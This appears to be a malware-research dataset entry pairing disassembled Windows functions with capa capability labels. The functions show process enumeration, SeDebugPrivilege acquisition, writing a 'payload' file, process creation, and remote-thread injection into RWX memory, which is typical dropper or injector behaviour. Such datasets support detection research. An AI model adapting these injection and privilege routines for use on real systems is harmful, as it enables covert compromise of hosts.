joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000d6a8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000d6d8
xor eax, eax
jmp 0x14000d79b
mov rbp, rbx
cmp word [rax], si
je 0x14000d6fd
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000d6e4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000d6e0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000d5c8
movsxd r14, eax
test eax, eax
jne 0x14000d73b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000d6d1
mov rcx, r14
call fcn.140009e5c
mov rdi, rax
test rax, rax
jne 0x14000d754
xor ecx, ecx
call fcn.1400091e4
jmp 0x14000d730
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000d5c8
test eax, eax
jne 0x14000d785
mov rcx, rdi
call fcn.1400091e4
jmp 0x14000d78f
xor ecx, ecx
call fcn.1400091e4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140011a3c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140011a52
mov al, 1
jmp 0x140011ab2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140011a63
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140011ab0
mov ecx, dword [rcx + 0x18]
nop
call fcn.14000dfc8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140011ab0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140011ab0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140011ab0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140011ab2
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140012af0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000c698
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140012b7a
cmp byte [rbp - 0x21], r15b
je 0x140012b75
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140012bb0
call fcn.140009434
test eax, eax
jne 0x140012b9c
cmp byte [rbp - 0x21], r15b
je 0x140012b94
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140012bb0
cmp byte [rbp - 0x21], r15b
je 0x140012bad
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000bc78
test eax, eax
jne 0x140012c50
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000c698
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140012bef
cmp byte [rbp - 0x21], r15b
je 0x140012c24
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140012c24
call fcn.140009434
test eax, eax
jne 0x140012c10
cmp byte [rbp - 0x21], r15b
je 0x140012c09
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140012c24
cmp byte [rbp - 0x21], r15b
je 0x140012c21
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000bc78
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140012c50
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140012c53
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140012c61
mov rcx, rdi
call fcn.1400091e4
cmp byte [rbp + 0x3f], r15b
je 0x140012c70
mov rcx, qword [rbp + 0x27]
call fcn.1400091e4
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140002860
Capabilities:
Enumerate process modules

Disassembly:
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x490
mov rax, qword [0x1400a3c48]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov qword [rsp + 0x38], 0
cmp dword [rsp + 0x4a0], 0
je 0x14000289e
mov eax, dword [rsp + 0x4a0]
mov dword [rsp + 0x24], eax
jmp 0x1400028aa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x30], eax
xor edx, edx
mov ecx, 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
je 0x14000296e
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x438
rep stosb byte [rdi], al
mov dword [rsp + 0x40], 0x438
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Module32FirstW
test eax, eax
je 0x140002902
mov byte [rsp + 0x20], 1
jmp 0x140002907
mov byte [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
mov byte [rsp + 0x22], al
jmp 0x14000293a
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Module32NextW
test eax, eax
je 0x14000292c
mov byte [rsp + 0x21], 1
jmp 0x140002931
mov byte [rsp + 0x21], 0
movzx eax, byte [rsp + 0x21]
mov byte [rsp + 0x22], al
movzx eax, byte [rsp + 0x22]
test eax, eax
je 0x140002963
mov eax, dword [rsp + 0x30]
cmp dword [rsp + 0x68], eax
jne 0x140002961
lea rcx, [rsp + 0x270]
call fcn.140001800
mov qword [rsp + 0x38], rax
jmp 0x140002963
jmp 0x140002912
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.14001b8a0
add rsp, 0x490
pop rdi
ret

Function at 0x140003150
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x88
mov rax, qword [0x1400a3c48]
xor rax, rsp
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x38], rax
lea r8, [rsp + 0x48]
mov edx, 0x28
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [rsp + 0x30], eax
lea r8, [rsp + 0x40]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x50], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + rax + 0x54], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x5c], 2
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x1c
lea r8, [rsp + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14001b8a0
add rsp, 0x88
ret
Function at 0x140007740
Capabilities:
Create thread
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2a0
mov rax, qword [0x1400a3c48]
xor rax, rsp
mov qword [rsp + 0x298], rax
mov qword [rsp + 0x30], 0
xor edx, edx
mov ecx, 6
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0xffffffffffffffff
je 0x14000783e
mov dword [rsp + 0x50], 0x238
lea rax, [rsp + 0x54]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14000781f
lea rdx, [0x140047110]
lea rcx, [rsp + 0x7c]
call fcn.1400225e0
test eax, eax
je 0x1400077db
lea rdx, [0x1400471b0]
lea rcx, [rsp + 0x7c]
call fcn.1400225e0
test eax, eax
jne 0x14000780c
mov r8d, dword [rsp + 0x58]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x14000780c
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x14000781f
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400077b1
cmp qword [rsp + 0x30], 0
je 0x140007832
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x140007840
mov rax, qword [rsp + 0x2b0]
cmp qword [rax + 0x88], 0
je 0x1400078c8
mov rax, qword [rsp + 0x2b0]
mov r9, qword [rax + 0x88]
lea r8, [0x140047158]
xor edx, edx
xor ecx, ecx
call fcn.140009160
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
inc eax
cdqe
mov rcx, rax
call fcn.14001b298
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x48]
mov qword [rax + 0x98], rcx
mov rax, qword [rsp + 0x2b0]
mov r8, qword [rax + 0x88]
lea rdx, [0x1400471f0]
mov rax, qword [rsp + 0x2b0]
mov rcx, qword [rax + 0x98]
call fcn.1400092b0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x2b0]
lea r8, [0x140008f40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x2b0]
mov qword [rcx + 0x58], rax
mov rcx, qword [rsp + 0x298]
xor rcx, rsp
call fcn.14001b8a0
add rsp, 0x2a0
pop rdi
ret
Function at 0x140008b80
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x280
mov rax, qword [0x1400a3c48]
xor rax, rsp
mov qword [rsp + 0x278], rax
xor edx, edx
mov ecx, 6
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
je 0x140008c26
mov dword [rsp + 0x30], 0x238
lea rax, [rsp + 0x34]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140008c1b
lea rdx, [0x140046ed8]
lea rcx, [rsp + 0x5c]
call fcn.1400225e0
test eax, eax
jne 0x140008c08
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140008c54
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140008be4
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x290]
mov r8, qword [rax + 0x80]
lea rdx, [0x140046ef8]
mov rcx, qword [rsp + 0x290]
call fcn.140008170
xor al, al
jmp 0x140008c54
mov rcx, qword [rsp + 0x278]
xor rcx, rsp
call fcn.14001b8a0
add rsp, 0x280
pop rdi
ret
Function at 0x140013bb0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x190
mov rax, qword [0x1400a3c48]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov dword [rsp + 0x44], 0
mov edx, 0x104
mov rcx, qword [rsp + 0x1a0]
call fcn.140015d40
mov r8, qword [rsp + 0x1a0]
lea rdx, str.Log:resFullName:__s_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
mov rax, qword [0x1400a4eb0]
mov rcx, qword [rax + 0x20]
call fcn.140022770
mov qword [rsp + 0x58], rax
mov rcx, qword [0x1400a4eb0]
mov rcx, qword [rcx]
call fcn.140022770
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x1a0]
call fcn.140022770
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0x104
jb 0x140013c78
mov r8d, dword [rsp + 0x40]
lea rdx, str.Log:stack_overrun__length:_ulDestinationSize____d___n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
jmp 0x140013c90
mov r8d, dword [rsp + 0x40]
lea rdx, str.Log:ulDestinationSize:__d_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
mov rax, qword [0x1400a4eb0]
mov r8, qword [rax]
lea rdx, str.Log:resHandler__ResorceFileName:__s_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov rax, qword [0x1400a4eb0]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rax, qword [0x1400a4eb0]
mov r9, qword [rax + 0x20]
mov r8, qword [rsp + 0x1a0]
lea rdx, str._hs_hs_hs
lea rcx, [rsp + 0x70]
call fcn.1400092b0
lea r8, [rsp + 0x70]
lea rdx, str.Log:Payload_File___hs_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
mov r8d, 0x104
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x1a0]
call fcn.14001c320
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, qword [rsp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140013dbd
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x4c]
mov rax, qword [0x1400a4eb0]
mov r8d, dword [rax + 0x18]
mov rax, qword [0x1400a4eb0]
mov rdx, qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0
je 0x140013db2
mov rax, qword [0x1400a4eb0]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x4c], eax
jne 0x140013db2
mov dword [rsp + 0x44], 1
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.14001b8a0
add rsp, 0x190
pop rdi
ret
Function at 0x140013de0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xe0
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x70], 0x68
mov dword [rsp + 0xac], 0x100
xor eax, eax
mov word [rsp + 0xb0], ax
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov r9, qword [rsp + 0xf8]
mov r8, qword [rsp + 0xf0]
lea rdx, str.Log:Executing__s__s_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jge 0x140013eb1
mov eax, 0xffffffff
jmp 0x140013eb5
mov eax, dword [rsp + 0x60]
add rsp, 0xe0
pop rdi
ret

Function at 0x140014020
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x1b0
mov rax, qword [0x1400a3c48]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov r9d, 0x40
lea r8, [rsp + 0x50]
mov rdx, qword [rsp + 0x1c8]
mov rcx, qword [rsp + 0x1c0]
call fcn.140014b20
movzx eax, al
test eax, eax
je 0x14001416f
movzx eax, word [rsp + 0x50]
cmp eax, 0x5a4d
jne 0x14001416f
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, pe_nt_image_headers64
rep stosb byte [rdi], al
movsxd rax, dword [rsp + 0x8c]
mov rcx, qword [rsp + 0x1c8]
add rcx, rax
mov rax, rcx
mov r9d, pe_nt_image_headers64
lea r8, [rsp + 0x90]
mov rdx, rax
mov rcx, qword [rsp + 0x1c0]
call fcn.140014b20
movzx eax, al
test eax, eax
je 0x14001416f
cmp dword [rsp + 0x90], 0x4550
jne 0x14001416f
mov eax, dword [rsp + 0xe4]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x14001416f
mov eax, dword [rsp + 0x20]
mov ecx, eax
call fcn.14001b298
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x20]
mov r9d, eax
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x1c8]
mov rcx, qword [rsp + 0x1c0]
call fcn.140014b20
movzx eax, al
test eax, eax
je 0x140014159
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
jmp 0x14001416f
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x40], rax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call fcn.14001b290
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.14001b8a0
add rsp, 0x1b0
pop rdi
ret
Function at 0x1400142b0
Capabilities:
Inspect section memory permissions

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x28
mov dword [rsp], 0
mov eax, dword [rsp + 0x30]
and eax, 0x20000000
test eax, eax
je 0x140014337
mov eax, dword [rsp + 0x30]
and eax, 0x40000000
test eax, eax
je 0x140014308
mov eax, dword [rsp + 0x30]
and eax, 0x80000000
test eax, eax
je 0x1400142f0
mov dword [rsp + 4], 0x40
jmp 0x1400142f8
mov dword [rsp + 4], 0x20
mov eax, dword [rsp + 4]
mov ecx, dword [rsp]
or ecx, eax
mov eax, ecx
mov dword [rsp], eax
jmp 0x140014335
mov eax, dword [rsp + 0x30]
and eax, 0x80000000
test eax, eax
je 0x14001431f
mov dword [rsp + 8], 0x80
jmp 0x140014327
mov dword [rsp + 8], 0x10
mov eax, dword [rsp + 8]
mov ecx, dword [rsp]
or ecx, eax
mov eax, ecx
mov dword [rsp], eax
jmp 0x1400143a0
mov eax, dword [rsp + 0x30]
and eax, 0x40000000
test eax, eax
je 0x140014373
mov eax, dword [rsp + 0x30]
and eax, 0x80000000
test eax, eax
je 0x14001435b
mov dword [rsp + 0xc], 4
jmp 0x140014363
mov dword [rsp + 0xc], 2
mov eax, dword [rsp + 0xc]
mov ecx, dword [rsp]
or ecx, eax
mov eax, ecx
mov dword [rsp], eax
jmp 0x1400143a0
mov eax, dword [rsp + 0x30]
and eax, 0x80000000
test eax, eax
je 0x14001438a
mov dword [rsp + 0x10], 8
jmp 0x140014392
mov dword [rsp + 0x10], 1
mov eax, dword [rsp + 0x10]
mov ecx, dword [rsp]
or ecx, eax
mov eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp + 0x30]
and eax, 0x4000000
test eax, eax
je 0x1400143b7
mov eax, dword [rsp]
bts eax, 9
mov dword [rsp], eax
mov eax, dword [rsp]
add rsp, 0x28
ret
Function at 0x1400152a0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x90
mov byte [rsp + 0x40], 0
lea rax, [0x140015f30]
lea rcx, [0x140015ed0]
sub rax, rcx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
add rax, 0x18
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
je 0x14001548e
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x78]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [0x140048b40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140048b30]
mov rcx, rax
call fcn.1400157b0
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x44]
mov r9d, eax
lea r8, [0x140015ed0]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0xa0]
call fcn.140014c00
movzx eax, al
test eax, eax
je 0x140015472
mov r9d, 0x18
lea r8, [rsp + 0x78]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xa0]
call fcn.140014c00
movzx eax, al
test eax, eax
je 0x140015472
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x60]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140015472
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48], 0x54fd32fc
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x140015467
cmp dword [rsp + 0x48], 0xab02cd03
jne 0x140015467
mov r9d, 0x18
lea r8, [rsp + 0x78]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xa0]
call fcn.140014b20
movzx eax, al
test eax, eax
je 0x140015467
movzx eax, byte [rsp + 0x88]
mov byte [rsp + 0x40], al
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
movzx eax, byte [rsp + 0x40]
add rsp, 0x90
pop rdi
ret
Function at 0x140015a90
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2b0
mov rax, qword [0x1400a3c48]
xor rax, rsp
mov qword [rsp + 0x2a8], rax
mov rcx, qword [rsp + 0x2c0]
call fcn.140022770
inc rax
mov qword [rsp + 0x58], rax
mov eax, 2
mul qword [rsp + 0x58]
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
call fcn.14001b298
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140015b36
mov rdi, qword [rsp + 0x28]
xor eax, eax
mov rcx, qword [rsp + 0x40]
rep stosb byte [rdi], al
cmp qword [rsp + 0x28], 0
je 0x140015b21
xor eax, eax
mov rcx, qword [rsp + 0x28]
mov word [rcx], ax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x48], rax
jmp 0x140015b2a
mov qword [rsp + 0x48], 0
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
jmp 0x140015b3f
mov qword [rsp + 0x50], 0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x38]
call fcn.1400295b4
nop
xor edx, edx
mov ecx, 6
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0xffffffffffffffff
je 0x140015be9
mov dword [rsp + 0x60], 0x238
lea rax, [rsp + 0x64]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140015bde
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x8c]
call fcn.1400225e0
test eax, eax
jne 0x140015bcb
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140015c0c
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140015ba6
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, qword [rsp + 0x38]
lea rdx, str.Log:isProcessRunning:false:_ls__n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
xor al, al
jmp 0x140015c0c
mov rcx, qword [rsp + 0x2a8]
xor rcx, rsp
call fcn.14001b8a0
add rsp, 0x2b0
pop rdi
ret